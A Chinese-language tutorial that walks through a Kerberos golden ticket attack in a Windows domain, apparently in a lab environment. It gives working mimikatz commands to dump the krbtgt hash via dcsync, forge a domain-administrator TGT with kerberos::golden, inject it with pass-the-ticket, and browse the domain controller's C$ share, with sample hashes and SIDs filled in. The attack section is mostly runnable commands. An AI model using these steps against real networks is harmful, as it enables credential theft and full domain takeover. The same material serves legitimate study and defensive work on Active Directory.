黄金票据攻击——域内横向移动技术
一、黄金票据攻击介绍:
黄金票据攻击是一种滥用Kerberos身份认证协议的攻击方式,它允许攻击者伪造域控krbtgt用户的TGT(Ticket-Granting Ticket)。通过这种方法,攻击者可以生成有效的TGT Kerberos票据,且这些票据不受TGT生命周期的影响(TGT默认生命周期为10小时,最多可续订7天)。因此,攻击者能够访问网络中的任何资源,而无需知道任何有效用户的账户凭据。
具体来说,黄金票据攻击可以为任意用户生成TGT票据,这意味着攻击者甚至可以为域管理员生成TGT,从而使普通用户获得域管理员的权限。这种攻击方式利用了Kerberos中的一个漏洞,使得攻击者能够绕过系统控制机制,直接访问目标系统的所有资源。
在实施攻击时,攻击者通常会在目标主机上运行恶意软件或使用其他恶意攻击手段,通过收集系统中存在的凭证或使用暴力破解等方式获取有效TGT凭证。在Windows系统中,攻击者还可以利用已获得的权限或漏洞进行票据提权,进一步提升自己的权限并获取黄金票据。
二、黄金票据的制作条件
-
域名称:需要知道目标网络的域名称,这是Kerberos协议进行身份验证的基础。
-
域的SID:SID(安全标识符)是唯一的,用于标识Windows操作系统中的安全主体(如用户账户、组账户等)。制作黄金票据需要知道目标域的SID。
-
域控的Krbtgt账户的密码hash值:Krbtgt是Kerberos认证服务中的账户,用于发放TGT(票据授权票据)。攻击者需要获取该账户的密码hash值,才能伪造有效的TGT。这通常需要在攻击者已经具有活动域管理员权限的情况下完成,因为Krbtgt账户的密码hash值存储在域控制器上。
-
任意域用户名:为了伪造有效的TGT,攻击者还需要一个域内的用户名。这样,伪造的TGT将看似是由该用户发出的。
三、制作黄金票据,即伪造TGT
1、获取Krbtgt的hash
首先以管理员权限,在域控制器上执行mimikatz命令:
privilege::debug
lsadump::dcsync /user:krbtgt
记录Krbtgt用户的以下信息:
Hash NTLM: 4c32d497137ce2fbc28c297e73a87889
aes256_hmac: 414818be77de302b3801226cfe04599fb9aabfe114231a29d1386ee4d6507067
2、域sid
在普通域成员机器上,使用 “whoami /user” 获取。
记录普通域用户id信息:
student01:S-1-5-21-3792756393-3386897061-2081858749
3、域账户
域账户:student01
4.域名
在普通域成员机器上,使用 “systeminfo” 获取。
记录域名:college.com
制作黄金票据所需内容
Hash NTLM:4c32d497137ce2fbc28c297e73a87889
域名:college.com
域账户:student01
域sid:S-1-5-21-3792756393-3386897061-2081858749
使用mimikatz制作黄金票据
在获取上面信息后,使用mimikatz工具生成黄金票据(普通域用户权限即可制作),过程如下:
1、查看当前票据
kerberos::list
2、清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge
3、制作黄金票据 /admin:用户名任意 /ticket:票据名称任意即可
kerberos::golden /admin:administrator /domain:college.com /sid:S-1-5-21-3792756393-3386897061-2081858749 /krbtgt:4c32d497137ce2fbc28c297e73a87889 /ticket:ticket.kirbi
会在当前目录下生成黄金票据:
4、导入黄金票据
kerberos::ptt ticket.kirbi
kerberos::list
5、在普通域用户机器上,重新打开cmd窗口,可以直接列出域控目录
dir \dc.college.com\c$
6、使用aes256也可以制作黄金票据。
原理和上面的是一样的,只是hash不同而已。
kerberos::golden /domain:school.com /sid:S-1-5-21-2236738896-1661306322-1924668396 /aes256:87d3913d6cb96fef6fcc7a616ee33625bec4b8cffc7a2efa7f177541dd7d3d9c /user:hello /ticket:aes256.kirbi